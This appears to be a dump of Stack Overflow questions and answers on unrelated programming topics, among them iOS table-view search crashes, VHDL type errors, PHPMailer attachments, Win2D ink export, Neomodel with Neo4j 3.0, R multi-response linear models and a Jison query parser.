26026088	0	search bar in TableView : App crashes when type last character of search text string <p>Added search bar in the storyboard on top of tableview app crashes when type last character of search text string with the error </p> <p>Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[PFUser copyWithZone:]: unrecognized selector sent to instance</p> <pre><code>- (void)viewDidLoad { [super viewDidLoad]; PFQuery *query = [PFUser query]; [query orderByAscending:@"username"]; [query findObjectsInBackgroundWithBlock:^(NSArray *objects, NSError *error) { if (error){ NSLog(@"Error:%@ %@", error, [error userInfo]); } else { self.allUsers = objects; self.searchResults = [[NSArray alloc] init]; [self.tableView reloadData]; } }]; - (void)filterContentForSearchText:(NSString*)searchText scope:(NSString*)scope { NSPredicate *predicate = [NSPredicate predicateWithFormat:@"username like %@", searchText]; self.searchResults = [self.allUsers filteredArrayUsingPredicate:predicate]; } -(BOOL)searchDisplayController:(UISearchDisplayController *)controller shouldReloadTableForSearchString:(NSString *)searchString { [self filterContentForSearchText:searchString scope:[[self.searchDisplayController.searchBar scopeButtonTitles] objectAtIndex:[self.searchDisplayController.searchBar selectedScopeButtonIndex]]]; return YES; } - (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView { return 1; } - (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section { if (tableView == self.searchDisplayController.searchResultsTableView){ return [self.searchResults count]; } else { //[self filterData]; return [self.allUsers count]; } } - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { static NSString *CellIdentifier = @"Cell"; UITableViewCell *cell = [self.tableView dequeueReusableCellWithIdentifier:CellIdentifier forIndexPath:indexPath]; if (tableView == self.searchDisplayController.searchResultsTableView) { cell.textLabel.text = [self.searchResults objectAtIndex:indexPath.row]; } else { PFUser *user = [self.allUsers objectAtIndex:indexPath.row]; cell.textLabel.text = user.username; } return cell; } -(void) tableView:(UITableView *) tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { if (tableView == self.tableView){ self.title = [self.allUsers objectAtIndex:indexPath.row]; } else { self.title = [self.searchResults objectAtIndex:indexPath.row]; } } </code></pre> <p>EDIT: </p> <p>When i type bt at lldb prompt this is what i get </p> <pre><code> * thread #1: tid = 0x86e99, 0x029b68b9 libobjc.A.dylib`objc_exception_throw, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x029b68b9 libobjc.A.dylib`objc_exception_throw frame #1: 0x02cd4243 CoreFoundation`-[NSObject(NSObject) doesNotRecognizeSelector:] + 275 frame #2: 0x02c2750b CoreFoundation`___forwarding___ + 1019 frame #3: 0x02c270ee CoreFoundation`__forwarding_prep_0___ + 14 frame #4: 0x029c8bcd libobjc.A.dylib`-[NSObject copy] + 41 frame #5: 0x018317b6 UIKit`-[UILabel _setText:] + 129 frame #6: 0x0183194d UIKit`-[UILabel setText:] + 40 * frame #7: 0x000138d8 -[EditFriendsViewController tableView:cellForRowAtIndexPath:](self=0x0aca3e50, _cmd=0x01e3b31f, tableView=0x0baed600, indexPath=0x0ac92b70) + 456 at EditFriendsViewController.m:204 frame #8: 0x0176f11f UIKit`-[UITableView _createPreparedCellForGlobalRow:withIndexPath:] + 412 frame #9: 0x0176f1f3 UIKit`-[UITableView _createPreparedCellForGlobalRow:] + 69 frame #10: 0x01750ece UIKit`-[UITableView _updateVisibleCellsNow:] + 2428 frame #11: 0x017656a5 UIKit`-[UITableView layoutSubviews] + 213 frame #12: 0x016e5964 UIKit`-[UIView(CALayerDelegate) layoutSublayersOfLayer:] + 355 frame #13: 0x029c882b libobjc.A.dylib`-[NSObject performSelector:withObject:] + 70 frame #14: 0x00aa545a QuartzCore`-[CALayer layoutSublayers] + 148 frame #15: 0x00a99244 QuartzCore`CA::Layer::layout_if_needed(CA::Transaction*) + 380 frame #16: 0x00a990b0 QuartzCore`CA::Layer::layout_and_display_if_needed(CA::Transaction*) + 26 frame #17: 0x009ff7fa QuartzCore`CA::Context::commit_transaction(CA::Transaction*) + 294 frame #18: 0x00a00b85 QuartzCore`CA::Transaction::commit() + 393 frame #19: 0x00a01258 QuartzCore`CA::Transaction::observer_callback(__CFRunLoopObserver*, unsigned long, void*) + 92 frame #20: 0x02bff36e CoreFoundation`__CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ + 30 frame #21: 0x02bff2bf CoreFoundation`__CFRunLoopDoObservers + 399 frame #22: 0x02bdd254 CoreFoundation`__CFRunLoopRun + 1076 frame #23: 0x02bdc9d3 CoreFoundation`CFRunLoopRunSpecific + 467 frame #24: 0x02bdc7eb CoreFoundation`CFRunLoopRunInMode + 123 frame #25: 0x036135ee GraphicsServices`GSEventRunModal + 192 frame #26: 0x0361342b GraphicsServices`GSEventRun + 104 frame #27: 0x01676f9b UIKit`UIApplicationMain + 1225 frame #28: 0x000144cd `main(argc=1, argv=0xbfffee04) + 141 at main.m:16 </code></pre> <p>Have no idea what is causing this.</p> <p>Help will be appreciated.</p> <p>Thanks</p>
14959037	0	type conversion can not have aggregate operand (error in modelsim) <p>I'm novice to VHDL. I'm getting the following errors while compiling in modelsim6.5b </p> <blockquote> <ol> <li>type conversion(to g) cannot have aggregate operand, </li> <li>No feasible entries for infix operator "and",</li> <li>Target type ieee.std_logic_1164.std_ulogic in variable assignment is different from - expression type std.stadard.integer</li> </ol> </blockquote> <p>any help on these and the reason behind that will be helpful.</p> <p>This is the package I've written</p> <pre><code>library ieee; use ieee.std_logic_1164.all; use ieee.std_logic_unsigned.all; package enc_pkg is constant n : integer := 1; constant k : integer := 2; constant m : integer := 3; constant L_total : integer := 10; constant L_info : integer := 10; type t_g is array (1 downto 1, 3 downto 1)of std_logic; signal g:t_g; type array3_10 is array (3 downto 1, 10 downto 0) of std_logic; type array2_10 is array (2 downto 1, 10 downto 0) of std_logic; procedure rsc_encoder( x : in std_logic_vector(1 to 10); terminated : in std_logic; y : out array2_10); procedure encode_bit(input : in std_logic; state_in : in std_logic_vector(1 to 2); output : out std_logic_vector(1 to 2); state_out : out std_logic_vector(1 to 2)); procedure encoderm (infor_bit : in std_logic_vector(1 to 8); en_output : out std_logic_vector(1 to 20)); end enc_pkg; package body enc_pkg is procedure rsc_encoder( x : in std_logic_vector(1 to 10); terminated : in std_logic; y : out array2_10)is variable state : std_logic_vector(1 to 2); variable d_k : std_logic; variable a_k : std_logic; variable output_bit : std_logic_vector(1 to 2); variable state_out : std_logic_vector(1 to 2); begin for i in 1 to m loop state(i) := '0'; end loop; for i in 1 to L_total loop if(terminated = '0' or (terminated = '1' and i &lt;= L_info)) then d_k := x(i); elsif(terminated = '1' and i &gt; L_info)then d_k := (g(1, 2) and state(1)) xor (g(1, 3) and state(2)); end if; a_k := (g(1, 1) and d_k) xor (g(1, 2) and state(1)) xor (g(1, 3)) and state(2)); encode_bit(a_k, state, output_bit, state_out); state := state_out; output_bit(1) := d_k; y(1, i) := output_bit(1); y(2, i) := output_bit(2); end loop; end rsc_encoder; procedure encode_bit(input : in std_logic; state_in : in std_logic_vector(1 to 2); output : out std_logic_vector(1 to 2); state_out : out std_logic_vector(1 to 2))is variable temp : std_logic_vector(1 to 2); begin for i in 1 to n loop temp(i) := g(i, 1) and input; for j in 2 to k loop temp(i) := temp(i) xor (g(i, j) and state_in(j-1)); end loop; end loop; output := temp; state_out := input &amp; state_in(m-1); end encode_bit; procedure encoderm (infor_bit : in std_logic_vector(1 to 8); en_output : out std_logic_vector(1 to 20))is --type array2_10 is array (2 downto 1, 10 downto 0) of integer; --type array3_10 is array (3 downto 1, 10 downto 0) of integer; variable interleaved : std_logic_vector(1 to 10); variable input : std_logic_vector(1 to 10); variable puncture : std_logic; variable output : array3_10; variable y : array2_10; variable en_temp : std_logic_vector(1 to 10); begin input := "0000000000"; for i in 1 to 8 loop input(i) := infor_bit(i); end loop; rsc_encoder(input, terminated 1, y); for i in 1 to 10 loop output(1, i) := y(1, i); output(2, i) := y(2, i); end loop; interleaved(1) := output(1, 1); interleaved(2) := output(1, 4); interleaved(3) := output(1, 7); interleaved(4) := output(1, 10); interleaved(5) := output(1, 2); interleaved(6) := output(1, 5); interleaved(7) := output(1, 8); interleaved(8) := output(1, 3); interleaved(9) := output(1, 6); interleaved(10) := output(1, 9); rsc_encoder(interleaved, terminated 0, y); for i in 1 to 10 loop output(3, i) := y(2, i); end loop; if puncture = '1'then for i in 1 to 10 loop for j in 1 to 3 loop en_output(3*(i-1)+j) := output(j, i); end loop; end loop; elsif puncture = '0' then for i in 1 to L_total loop en_temp(n*(i-1)+1) := output(1, i); if((i rem 2) = 1)then en_temp(n*i) := output(2, i); else en_temp(n*i) := output(3, i); end if; end loop; end if; en_output := en_temp; end encoderm; end enc_pkg; </code></pre>
2269101	0	 <p>try using the "url"-option of the form-helper, like:</p> <pre><code>&lt;?= $form-&gt;create('Car',array('url' =&gt; '/.../search')) ?&gt; </code></pre> <p>EDIT (quick n' dirty fix):</p> <pre><code>&lt;form action=".../search" method="post"&gt; &lt;input type="text" name="data[Car][model]" /&gt; &lt;input type="text" name="data[Car][year]" /&gt; &lt;?=$form-&gt;end("Search")?&gt; </code></pre>
23067475	0	How do I obtain pseudo R2 measures in stata when using GLM regression? <p>I am using GLM estimation method (family = poisson and link = log). This should be equivalent to a poisson estimation method. Therefore, I should be able to calculate pseudo R2 measures. How can I do this?</p> <p>Thanks,</p> <p>Bruno</p>
36100916	0	 <p>You can use PHPmailer class to send the mail. It is very easy option to send mails.</p> <p>To use PHPMailer:</p> <ul> <li>Download the PHPMailer script from here: <a href="http://github.com/PHPMailer/PHPMailer" rel="nofollow">http://github.com/PHPMailer/PHPMailer</a></li> <li>Extract the archive and copy the script's folder to a convenient place in your project.</li> <li>Include the main script file -- <code>require_once('path/to/file/class.phpmailer.php');</code></li> </ul> <p>Now, sending emails with attachments goes from being insanely difficult to incredibly easy:</p> <pre><code>$email = new PHPMailer(); $email-&gt;From = 'you@example.com'; $email-&gt;FromName = 'Your Name'; $email-&gt;Subject = 'Message Subject'; $email-&gt;Body = $bodytext; $email-&gt;AddAddress( 'destinationaddress@example.com' ); $file_to_attach = 'PATH_OF_YOUR_FILE_HERE'; $email-&gt;AddAttachment( $file_to_attach , 'NameOfFile.pdf' ); return $email-&gt;Send(); </code></pre> <p>It's just that one line $email->AddAttachment(); to add an attachment.</p>
26302016	0	Getting the address of a statically allocated array into a pointer inside a struct <p>The simplified version of my code is the following:</p> <pre><code>struct args { int p; int *A; }; typedef struct sort_args sort_args; void func(int A[], int p) { args new_struct = {&amp;A, p}; args *args_ptr = &amp;new_struct; } </code></pre> <p>I'm trying to convert a statically (I think that's the term) allocated array into a pointer, but the compiler keeps throwing these warnings:</p> <blockquote> <p>warning: initialization makes integer from pointer without a cast [enabled by default] args new_struct = {&amp;A, p, r};</p> <p>warning: (near initialization for ‘new_struct.p’) [enabled by default] warning: initialization makes pointer from integer without a cast [enabled by default] warning: (near initialization for ‘new_struct.A’) [enabled by default]</p> </blockquote> <p>What am I doing wrong?</p>
8893436	0	 <p>Quick question: is the image the same every time or specific to a customer order? I presume it is different or you wouldn't be asking.</p> <p>To clarify: attachments are okay if you sending out invoices/delivery notes/order confirmation. However you are advised to setup your email so that the IP address can be verified directly. You are also advised to use a SPFrecord in your DNS so that the remote mail server can check that your server is allowed to send emails for you. Furthermore, in your order success page you can also ask your customers to add you to their address book, in that way your emails will not be marked as SPAM, regardless of whether you have SPF records and things setup. The only thing is you cannot guarantee customers will do that, so the SPF records and the IP reverse lookup is best. You can also use DomainKeys DKIM for the likes of Yahoo mail - mail delivery isn't what this question is about so you will have to Google DKIM for yourself...</p> <p>Otherwise, attaching an image is simple. See the example at the top of the page of the Zend Programmers Reference Guide on attachments:</p> <p><a href="http://framework.zend.com/manual/en/zend.mail.attachments.html" rel="nofollow">http://framework.zend.com/manual/en/zend.mail.attachments.html</a></p> <p>Keep reading the comments for clarification on how to get the image data included.</p> <p>Hope that helps!</p>
32551620	0	 <p>Here is how I solved this issue with Win2D. First of all, add <code>Win2D.uwp</code> nuget package to your project. Then use this code:</p> <pre><code>CanvasDevice device = CanvasDevice.GetSharedDevice(); CanvasRenderTarget renderTarget = new CanvasRenderTarget(device, (int)inkCanvas.ActualWidth, (int)inkCanvas.ActualHeight, 96); using (var ds = renderTarget.CreateDrawingSession()) { ds.Clear(Colors.White); ds.DrawInk(inkCanvas.InkPresenter.StrokeContainer.GetStrokes()); } using (var fileStream = await file.OpenAsync(FileAccessMode.ReadWrite)) await renderTarget.SaveAsync(fileStream, CanvasBitmapFileFormat.Jpeg, 1f); </code></pre>
29751233	0	 <p>I use this trick to deploy apk's wirelessly to my device from Android Studio, with IIS. Just go on your computer, open a command prompt, type <code>ipconfig</code> and see what your local network IP address is. Type that exact IP address into your phone and forward-slash into your asp page.</p> <p>Hope this helps!</p>
37262183	0	 <p>I can't say I understand the root of the issue or why my solution even works for me, but I ran into the same problem and simply added <code>pdf(NULL)</code> at the beginning of my script and everything seems to work just fine. No <code>dev.off()</code> needed (adding it in threw an error for me).</p>
22104179	0	AngularJS how to style JSON message <p>I am trying to style the JSON message to the required style. </p> <p>the required style of JSON message looks like: </p> <pre><code>[ { “question”: “Write down Nhat’s email”, “answer”: “nhat@taie.com.au”, “inline”: true }, { &lt;% NEXT QUESTION/ANSWER %&gt; }, { &lt;%…%&gt; } ] </code></pre> <p>and currently my JSON message looks like: </p> <p>[{"Question":"Question","Note":"","notePlaceholder":"enter text","inlineChecked":false},{"Question":"Question","Note":"","notePlaceholder":"enter text...","inlineChecked":""}]</p> <p>Any idea on that? </p> <p><a href="http://plnkr.co/edit/7erVt8?p=preview" rel="nofollow">This is the link of my code</a></p>
34304780	0	 <p>Simply uncompress the archive <a href="https://github.com/git-for-windows/git/releases/download/v2.6.4.windows.1/PortableGit-2.6.4-64-bit.7z.exe" rel="nofollow"><code>PortableGit-2.6.4-64-bit.7z.exe</code></a> anywhere you want.</p> <p>Then open <code>C:\path\to\PortableGit-2.6.4-64-bit\git-bash.exe</code>: you won't see that error message.</p>
24704597	0	 <p>Ended up with creating a new stringbuilder object with ," " quote. And appended each string to the text view. Finally I got the output working as required when used with linear layout n stuffs. Thanks for ur help :)</p>
36778120	0	 <p>You can also give weightage while modelling. you can assign higher weight to minority class it will compensate the imbalance. </p>
2638493	0	 <p>With Jquery</p> <pre> $(document).ready(function () { $("#live").load("ajax.php"); var refreshId = setInterval(function () { $("#live").load('ajax.php?randval=' + Math.random()); }, 3000); }); </pre> <p>it calls ajax.php in first load and every 3 seconds to #live div.</p>
17815000	0	 <p>You can <code>effectively</code> name ranges using the text box in the top left of the screen (where appears the "B2" or whatever coordinate the cell has). Select entire column and insert the name there.</p> <p>Then the name is valid to use in formulas.</p>
35692426	0	 <p>Send the request to PHP page on click of like button and handle it there to update the database.</p>
37432517	1	Neo4j 3.0.1 - Neomodel 2.0.7 - Parameter provided for node creation is not a Map <p>I am trying out the Neomodel Source Code to make it work with Neo4j 3.0.1. I am facing this eeror saying that the Parameters provided for node creation is not a Map.</p> <p>{u'errors': [{u'message': u'Parameter provided for node creation is not a Map', u'code': u'Neo.ClientError.Statement.TypeError'}], u'results': []}</p> <pre><code> Traceback (most recent call last): File "/Users/adaggula/Documents/workspace/Collective[i]-pve/test_revised.py", line 32, in &lt;module&gt; jim = Person(name='jim5').save() File "/Users/adaggula/workspace/python/pve/lib/python2.7/site-packages/neomodel/signals.py", line 25, in hooked val = fn(self, *args, **kwargs) File "/Users/adaggula/workspace/python/pve/lib/python2.7/site-packages/neomodel/core.py", line 160, in save self._id = self.create(self.__properties__)[0]._id File "/Users/adaggula/workspace/python/pve/lib/python2.7/site-packages/neomodel/core.py", line 290, in create results = db.cypher_query(query, params) File "/Users/adaggula/workspace/python/pve/lib/python2.7/site-packages/neomodel/util.py", line 219, in cypher_query results = self._execute_query(query, params) File "/Users/adaggula/workspace/python/pve/lib/python2.7/site-packages/neomodel/util.py", line 212, in _execute_query results = self.session.cypher.execute(query, params) File "/Users/adaggula/workspace/python/pve/lib/python2.7/site-packages/py2neo/cypher/core.py", line 113, in execute results = tx.commit() File "/Users/adaggula/workspace/python/pve/lib/python2.7/site-packages/py2neo/cypher/core.py", line 325, in commit return self.post(self.__commit or self.__begin_commit) File "/Users/adaggula/workspace/python/pve/lib/python2.7/site-packages/py2neo/cypher/core.py", line 280, in post raise self.error_class.hydrate(error) File "/Users/adaggula/workspace/python/pve/lib/python2.7/site-packages/py2neo/cypher/error/core.py", line 54, in hydrate error_cls = getattr(error_module, title) AttributeError: 'module' object has no attribute 'TypeError' </code></pre> <p>What are the changes I should make to make it work?</p>
35315325	0	 <p>The problem was the missing '/' from the definition of the parent state ..</p> <pre><code>.state('manage', { url: '/manage', abstract: true, template:'&lt;div ui-view&gt;&lt;/div&gt;', resolve: { authorize: ['authorization', function(authorization) { return authorization.authorize(); } ] } }) </code></pre>
13713916	0	Am I using default arguments incorrectly? <p>I've just started going through a beginners book of C++. I have some java experience (but having said that, I've never used default arguments in java to be honest)</p> <p>So, as mentioned, my issue is with default arguments..</p> <p>This is the code snippet I'm using:</p> <pre><code>#include &lt;iostream&gt; using namespace std; //add declaration int add(int a, int b); int main (void) { int number1; cout &lt;&lt; "Enter the first value to be summed: "; cin &gt;&gt; number1; cout &lt;&lt; "\nThe sum is: " &lt;&lt; add(number1) &lt;&lt; endl; } int add(int a=10, int b=5) { return a+b; } </code></pre> <p>The response I get from g++ compiler is: "too few arguments to function 'int add(int, int)'</p> <p>Am I doing this wrong? (I've also tried it with literal arguments)</p> <p>P.S. I can't seem to get the code snippet to display properly? Has the system changed?</p>
1276968	0	Transparent gif/black background? <p>I have the following, it works except the gif is suppose to be transparent and it is creating a black background, if I change all the (imagesavealpha, etc) stuff to the $container then it created a transparent background for the text I add to this image. How would I go about getting rid of the black background? Basically this is a signature type image. I write stuff too, which I don't think you need to see.</p> <pre><code> $im = imagecreatefromgif("bg.gif"); $container = imagecreatetruecolor(400, 160); imagesavealpha($im, true); imagealphablending($im, false); $trans_colour = imagecolorallocatealpha($im, 0, 0, 0, 127); $w = imagecolorallocate($container, 255, 255, 255); imagefill($im, 0, 0, $trans_colour); imagecopymerge($container, $im, 0, 0, 0, 0, 460, 180, 100); </code></pre>
34964409	0	 <p>You can use the code snippet given below as it will serve your purpose. Here use <strong>time.h</strong> header file for required <strong>localtime()</strong> function and then using the <strong>strftime()</strong> function with required parameters will give the output and it returns it as a string.</p> <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;time.h&gt; std::string current_date(); std::string current_time(); int main(){ std::cout&lt;&lt;"Current date =&gt; "&lt;&lt;current_date()&lt;&lt;"\n"; std::cout&lt;&lt;"Current time =&gt; "&lt;&lt;current_time()&lt;&lt;"\n"; } std::string current_date(){ time_t now = time(NULL); struct tm tstruct; char buf[40]; tstruct = *localtime(&amp;now); //format: day DD-MM-YYYY strftime(buf, sizeof(buf), "%A %d/%m/%Y", &amp;tstruct); return buf; } std::string current_time(){ time_t now = time(NULL); struct tm tstruct; char buf[40]; tstruct = *localtime(&amp;now); //format: HH:mm:ss strftime(buf, sizeof(buf), "%X", &amp;tstruct); return buf; } </code></pre>
39935239	0	 <p>"mlm" model class is not widely known by <code>lm()</code> users. For an introductory example, please refer to <a href="http://stackoverflow.com/q/39262534/4891738">Fitting a linear model with multiple LHS</a>. Also read <a href="http://stackoverflow.com/q/15296833/4891738">Run lm with multiple responses and weights</a> for the limitations of "mlm".</p> <hr> <p>R does not have full support for "mlm" class at the moment. Here is an overview:</p> <ul> <li><p>The following generic functions work and would return a matrix:</p> <pre><code>coef(), residuals(), fitted(), vcov() </code></pre></li> <li><p>The following generic functions work and would return a list:</p> <pre><code>summary(), anova() </code></pre></li> <li><p>The following generic functions have limited support for "mlm":</p> <pre><code>predict() </code></pre></li> <li><p>The following generic functions do not work at all for "mlm":</p> <pre><code>rstandard(), plot(), confint() </code></pre></li> </ul> <hr> <p>The aim of this wiki page is to direct "mlm" users to efficient solutions of various inference and diagnostic tasks. Here is a good collection:</p> <p><strong>Model Summary</strong></p> <ul> <li><a href="http://stackoverflow.com/q/19740292/4891738">Obtain standard errors of regression coefficients for an “mlm” object returned by <code>lm()</code></a></li> <li><a href="http://stackoverflow.com/q/15820623/4891738">Obtain t-statistic for regression coefficients of an “mlm” object returned by <code>lm()</code></a></li> <li><a href="http://stackoverflow.com/q/28442141/4891738">Get confidence intervals for regression coefficients of “mlm” object returned by <code>lm()</code></a></li> <li><a href="http://stackoverflow.com/q/15254543/4891738">Obtain residual standard errors of an “mlm” object returned by <code>lm()</code></a></li> </ul> <p><strong>Model Prediction</strong></p> <ul> <li><a href="http://stackoverflow.com/q/39553770/4891738">Prediction of 'mlm' linear model object from <code>lm()</code></a></li> <li><a href="http://stackoverflow.com/q/40710992/4891738">Applying lm() and predict() to multiple columns in a data frame</a></li> </ul> <p><strong>Model Diagnostic</strong></p> <ul> <li><a href="http://stackoverflow.com/q/39562631/4891738">Obtain standardised residuals and “Residual v.s. Fitted” plot for “mlm” object from <code>lm()</code></a></li> </ul> <hr> <p>Please read above questions carefully, and only ask a new question when it is not answered in above.</p>
23905917	0	 <p>As far as I know this is currently only supported for fields of a class or top level fields but not for local variables inside a method/function when reflecting at runtime. Maybe source mirrors has more capabilities (I haven't used it yet) but I think this can only be used at compile time.</p>
4821501	0	 <p>This is <strong>(maybe)</strong> because of the theme for root isn't the same.</p> <p>Try to change the theme by starting the appereance manager as sudo:</p> <pre><code>sudo gnome-appearance-properties </code></pre>
15143434	0	 <p>The @ in that case is a SQL Server construct. Parameters to SQL Server queries are specified with the @ symbol since T-SQL (SQL Server programming language) uses the @ symbol for variables. </p>
24415793	0	 <p>Figured it out. I started ignoring the whitespace, changed a few rules, and resolved the conflicts. The parser returns a function that is used to determine if some object matches the query. Here is the final result:</p> <pre><code>/* Google-Like Parser */ /* Lexical Grammar */ %lex %% \s+ { /* ignore whitespace */ } "AND"|"&amp;&amp;" { return "AND" } "OR"|"||" { return "OR" } "NOT"|"!" { return "NOT" } "(" { return "OPEN" } ")" { return "CLOSE" } ":" { return "QUAL" } "-" { return "NEG" } "\""|"'" { return "QUOTE" } \w+ { return "WORD" } "." { return "DOT" } &lt;&lt;EOF&gt;&gt; { return "EOF" } . { return "INVALID" } /lex /* Operators */ %right AND OR %right NOT %right QUAL NEG DOT %start START %% /* Language Grammar */ START : EXP EOF { return $1; } ; EXP : EXP AND EXP { $$ = function(obj) { return ($1(obj) &amp;&amp; $3(obj)); }; } | EXP OR EXP { $$ = function(obj) { return ($1(obj) || $3(obj)); }; } | NOT EXP { $$ = function(obj) { return !($2(obj)); }; } | OPEN EXP CLOSE { $$ = $2; } | ARGS { $$ = function(obj) { return parser.processArgs(obj, $1)(obj); }; } ; ARGS : ARG ARGS { $$ = [ $1, $2]; } | OP ARGS { $$ = [ $1, $2]; } | ARG { $$ = [ $1 ]; } | OP { $$ = [ $1 ]; } ; OP : NEG ARG {{ $2.not = true; $$ = $2; }} | NEG ARG QUAL ARG {{ $$ = { "not": true, "operator": $2.operand, "operand": $4.operand }; }} | ARG QUAL ARG {{ $$ = { "not": false, "operator": $1.operand, "operand": $3.operand }; }} ; ARG : QUOTE TERMS QUOTE {{ $$ = { "not": false, "operator": null, "operand": $2.join(" ") }; }} | TERM {{ $$ = { "not": false, "operator": null, "operand": $1 }; }} ; TERMS : TERM TERMS { $$ = [ $1 ].concat($2); } | TERM { $$ = [ $1 ]; } ; TERM : WORD DOT TERM { $$ = $1 + $2 + $3; } | WORD { $$ = $1; } ; %% parser.processArgs = function(obj, args) { if (args.length &gt; 1) { if (args[0].operator) return function(obj) { return (parser.matchArg(obj, args[0]) &amp;&amp; parser.processArgs(args[1])(obj)); }; else return function(obj) { return (parser.matchArg(obj, args[0]) || parser.processArgs(args[1])(obj)); }; } else { return function(obj) { return parser.matchArg(obj, args[0]); }; } } /* Override Later */ parser.matchArg = function(obj, arg) { return true; } </code></pre>
13348849	0	 An interface that allows to pick specific color through a modal dialog box.
26959290	0	 <p>This issue was solved using the Index property of the partition. <strong>Partition Index number is permanent. Win32_DiskPartition</strong></p>
27549182	0	 <p>I know this is an old thread but I tried the above example in a SP 2010 environment and it didn't work so I thought I'd add my working CAML. Instead of using the ContentTypeID field, I just used ContentType=Folder</p> <pre><code>&lt;Where&gt; &lt;And&gt; &lt;Eq&gt; &lt;FieldRef Name='ContentType'/&gt; &lt;Value Type='Text'&gt;Folder&lt;/Value&gt; &lt;/Eq&gt; &lt;Eq&gt; &lt;FieldRef Name="Title"/&gt; &lt;Value Type='Text'&gt;Folder Name&lt;/Value&gt; &lt;/Eq&gt; &lt;/And&gt; &lt;/Where&gt; </code></pre>
36810178	0	Cannot send signal to another process in perl <p>I have to send a sigusr2 signal number 12 to a process named xyz in a cgi perl script. I do the following:</p> <pre><code>my $pid = `pidof xyz`; kill 12, $pid or die "could not kill: $pid"; </code></pre> <p>It dies when I press the button on which this command run.</p> <p>How can I send signal to a process named "xyz" in a cgi perl script.</p>
12598915	0	 <p>Well, some were faster, but here's yet another solution, that's works: <a href="http://jsfiddle.net/FsrbZ/6/" rel="nofollow">http://jsfiddle.net/FsrbZ/6/</a></p>
36514045	0	UIColor expected a type after update to xCode 7.3 <p>My project stop to compile after was updated to 7.3 version. For this moment main problem is in header files when I want to return <code>UIColor</code>. xCode tells me <code>Expected a type</code> error. Is there some way to handle with this situation?</p> <p><strong>Edit:</strong> my code (nothing special)</p> <pre><code>#import &lt;Foundation/Foundation.h&gt; @interface NSString (Color) - (UIColor *)rgbColor; //Expected a type - (UIColor *)hexColor; //Expected a type @end </code></pre>
26229371	0	 <p>Since there are only 5 constant columns, I would go with the simple solution:</p> <pre><code>var data = ctx.tblEmp.SingleOrDefault(e =&gt; e.Id == model.Id); switch (columnName) { case "Id": data.id = newValue; //newValue should have a correct type. break; case "name": data.name = newValue; break; case "desig": data.desig = newValue; break; case "depart": data.depart = newValue; break; case "Sal": data.Sal = newValue; break; } </code></pre>
27350762	0	Chain of functions for variadic template arguments <p>I am trying to design a generic, type-safe way to load interleaved data into a OpenGL VBO. My problem is now how to organize the various glVertexAttribPointer() calls. I have defined the buffer data descriptor as follows.</p> <pre><code>template &lt;typename T&gt; struct Descriptor { T vertex; }; template &lt;typename T, typename U&gt; struct Descriptor { T vertex; U normal; }; ... </code></pre> <p>This is basically now all well and simple. However, my problem is that the template functions to actually set the attributes turned out as follows.</p> <pre><code>template &lt;template &lt;class&gt; class Desc, typename T&gt; void setAttributes(const Desc&lt;T&gt;&amp; desc) { // set attributes for vertices ... glVertexAttribPointer(0, sizeof(desc.vertex), ...); } template &lt;template &lt;class, class&gt; class Desc, typename T, typename U&gt; void setAttributes(const Desc&lt;T, U&gt;&amp; desc) { // set attributes for vertices ... glVertexAttribPointer(0, sizeof(desc.vertex), ...); // set attributes for normals ... glVertexAttribPointer(1, sizeof(desc.normal), ...); } ... </code></pre> <p>Basically the problem is that I still ended up with a lot of repetition. Is there a way break these down into two template functions where one only sets vertex attributes and one sets only normals? In pseudocode something like the following.</p> <pre><code>template &lt;class Desc, class T, Args...&gt; void setAttributes(Desc desc) { setVertexAttributes(...); // somehow decide that if there are args left, call again... } template &lt;class Desc, class U, Args...&gt; void setAttributes(Desc desc) { // ...ending up here setNormalAttributes(...); } </code></pre>
4805554	0	Database Snapshot SQL Server 2000 <p>We have a large database that receives records concerning several hundred thousand persons per year. For a multitude of reasons I won't get into when information is entered into the system for a specific person it is often the case that the individual entering the data will be unable to verify whether or not this person is already in the database. Due to legal reqirements, we have to strive towards each individual in our database having a unique identifier (and no individual should have two or more.) Because of data collection issues it'll often be the case that one individual will be assigned many different unique identifiers.</p> <p>We have various automated and manual processes that mostly clean up the database on a set schedule and merge unique identifiers for persons who have had muliple assigned to them.</p> <p>Where we're having problems is we are also legally required to generate reports at year end. We have a set of year-end reports we always generate, however it is also the case that every year several dozen ad hoc reports will be requested by decision makers. Where things get troublesome is because of the continuous merging of unique identifiers, our data is not static. So any reports generated at year end will be based on the data as it existed the last day of the year, 3 weeks later if a decision maker requests a report, whatever we give them can (and will) often conflict direcly with our legally required year end reports. Sometimes we'll merge up to 30,000 identifiers in a month which can greatly change the results of any query.</p> <p>It is understood/accepted that our database is not static, but we are being asked to come up with a method for generating ad hoc reports based off of a static snapshot of the database. So if a report is requested on 1/25 it will be based off the exact same dataset as our year end reports.</p> <p>After doing some research I'm familiar with database snapshots, but we have a SQL Server 2000 database and we have little ability to get that changed in the short-to-medium term and database snapshots are a new feature in the 2005 edition. So my question would be what is the best way to create a queryable snapshot of a database in SQL Server 2000?</p>
15087397	0	 <p>Since your scheduled task is actually changing the permissions on the error log file, the only viable options I can see are:</p> <p>1) Make the scheduled task not write to the error_log. Add the following to the top of the cron job:</p> <p><code>error_reporting(E_NONE);</code></p> <p>2) Make the scheduled task write to the system log (event viewer in windows) by issuing the following command at the start of your scheduled task (PHP file):</p> <p><code>ini_set('error_log', 'syslog');</code></p> <p>3) If all of the above do not suit you, you can try scheduling the task as the IIS User/Group. This would insure that the permissions are met and error 500 is no longer caused. </p> <p>There is no magic fix to this, you can either change the scheduled task so it has the same UID/GID as the PHP process, or you can stop logging in the scheduled_task. </p>
6075216	0	 <p>You cannot generally retrieve missing information.</p> <p>If you know what it is an image of, in this case a Gaussian or Airy profile then it's probably an out of focus image of a point source - you can determine the characteristics of the point.</p> <p>Another technique is to try and determine the character tics of the blurring - especially if you have many images form the same blurred system. Then iteratively create a possible source image, blur it by that convolution and compare it to the blurred image.<br> This is the general technique used to make radio astronomy source maps (images) and was used for the flawed Hubble Space Telescope images</p>
